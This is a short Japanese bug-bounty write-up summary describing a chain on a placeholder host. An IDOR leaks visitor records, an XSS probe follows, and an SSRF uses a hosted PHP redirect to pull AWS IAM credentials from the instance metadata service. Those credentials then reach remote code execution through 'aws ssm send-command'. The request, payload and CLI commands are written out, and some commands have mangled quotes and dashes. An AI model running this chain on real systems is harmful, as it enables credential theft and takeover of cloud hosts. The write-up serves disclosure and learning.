Hello there, (^^ゞ
最初の SSRF から RCE への方法をどのように見つけたかを。
脆弱性:
IDOR、SSRF、RCE
記事:
https://medium.com/@0x0Asif/how-i-found-my-first-rce-8f8033883dc4
今回は、最初の RCE をどのように見つけたかを。
ハンティング中に IDOR を見つけ、写真を含むすべての訪問者を見ることができ。
IDOR リクエスト:
GET /visitors/?start_date=01/01/2021&end_date=07/23/2022&first_name=&last_name=&date_of_birth=&status=&reason_for_visit=&reason_for_visit_text=&start_record=0&total_record=10&selected_building_id=&building_id=1266 HTTP/2
Host: subs.example.io
「Building_id」パラメータは IDOR に対して脆弱で。
このパラメータ値は数値なので、他のユーザの情報を簡単に取得でき。
ユーザの情報を確認していたところ、リンクの例が 1つあることに気付き。
https://subs.example.io/s3File?url=https://s3-us-west-1.amazon.com/filename.jpeg
Amazon s3バケットからユーザ画像を取得していて。
?url= パラメータを持つエンドポイントに注目して。
最初のステップ:
https://subs.example.io/s3File?url=https://google.com/ を試してみると。
Google インデックス ページを表示して。
そこで何かを印刷しようとしたのですが。
別のものを印刷しようとするとうまくいかず。
次に、このコードをサーバでホストし、そこで XSS を取得して。
“><img src=x onerror=alert(document.domain);>{{7*7}}
次に、これを完全読み取り SSRF にエスカレートすることができ。
上で述べたように、「?url=」パラメータはインデックスのみを許可し。
このコードをサーバインデックスにホストして。
<?php header(‘Location: https://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-service-role-ssm-codedeploy', TRUE, 303); ?>
AWS キーの取得:
https://subs.example.io/s3File?url=https://ssrf.hosted.site/
任意の AWS インスタンスで RCE をルートするための完全読み取り SSRF を取得して。
次に、AWS CLI を構成する必要があり。
export AWS_ACCESS_KEY_ID=
export AWS_SECRET_ACCESS_KEY=
export AWS_DEFAULT_REGION=us-west-1
export AWS_SESSION_TOKEN=
次に、このコマンド のような形式のインスタンスをコピーして。
aws ssm describe-instance-information — output text — query “InstanceInformationList[*]” to figure out all the instance and copy any of instance which format is like i-0a9e9b8343511285db9
このコマンドを instanceid で適用して。
aws ssm send-command --document-name “AWS-RunShellScript” --comment “RCE” --targets “Key=instanceids,Values=instanceid” --parameters ‘commands=uname -a’
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ssm/send-command.html
Best regards, (^^ゞ